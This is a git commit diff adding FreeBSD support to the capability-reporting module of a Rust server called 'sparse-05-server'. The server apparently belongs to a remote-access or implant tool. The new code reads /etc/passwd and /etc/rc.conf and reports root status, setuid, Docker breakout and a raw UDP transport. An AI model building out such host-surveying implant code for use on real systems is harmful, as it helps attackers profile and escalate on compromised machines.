feat: added FreeBSD support
to make use of it, create a FreeBSD VM with curl installed and install rustup by default from rustup.rs, then run `cargo build -p sparse-05-server`
This commit is contained in:
@@ -2,6 +2,7 @@
|
||||
use std::ffi::c_int;
|
||||
use std::path::PathBuf;
|
||||
|
||||
use anyhow::Context;
|
||||
use sparse_05_common::messages::{Capabilities, OperatingSystem, TransportType};
|
||||
|
||||
#[derive(Debug)]
|
||||
@@ -60,7 +61,7 @@ struct cap_user_data_t {
|
||||
inheritable: u32,
|
||||
}
|
||||
|
||||
#[cfg(target_os = "linux")]
|
||||
#[cfg(any(target_os = "linux", target_os = "freebsd"))]
|
||||
fn get_username(uid: u32) -> anyhow::Result<Option<String>> {
|
||||
let passwd = std::fs::read_to_string("/etc/passwd")?;
|
||||
|
||||
@@ -118,11 +119,7 @@ fn get_current_capabilities() -> anyhow::Result<SrvCapabilities> {
|
||||
.ok();
|
||||
|
||||
Ok(SrvCapabilities {
|
||||
operating_system: if cfg!(target_os = "linux") {
|
||||
OperatingSystem::Linux
|
||||
} else {
|
||||
OperatingSystem::Windows
|
||||
},
|
||||
operating_system: OperatingSystem::Linux,
|
||||
docker_container,
|
||||
docker_breakout,
|
||||
setuid,
|
||||
@@ -153,6 +150,31 @@ fn get_current_capabilities() -> anyhow::Result<SrvCapabilities> {
|
||||
})
|
||||
}
|
||||
|
||||
#[cfg(target_os = "freebsd")]
|
||||
fn get_current_capabilities() -> anyhow::Result<SrvCapabilities> {
|
||||
let uid = unsafe { libc::getuid() };
|
||||
let root = uid == 0;
|
||||
let userent = get_username(uid)?;
|
||||
let hostname = std::fs::read_to_string("/etc/rc.conf")?
|
||||
.split("\n")
|
||||
.map(|line| line.split("=").collect::<Vec<_>>())
|
||||
.find(|line| line.get(0) == Some(&"hostname"))
|
||||
.map(|line| line.get(1).map(|name| name.to_string()))
|
||||
.flatten();
|
||||
|
||||
Ok(SrvCapabilities {
|
||||
operating_system: OperatingSystem::FreeBSD,
|
||||
docker_container: false,
|
||||
docker_breakout: false,
|
||||
setuid: false,
|
||||
service: false,
|
||||
root,
|
||||
userent: userent.clone(),
|
||||
transport: TransportType::RawUdp,
|
||||
hostname,
|
||||
})
|
||||
}
|
||||
|
||||
pub fn get_capabilities() -> anyhow::Result<SrvCapabilities> {
|
||||
get_current_capabilities()
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user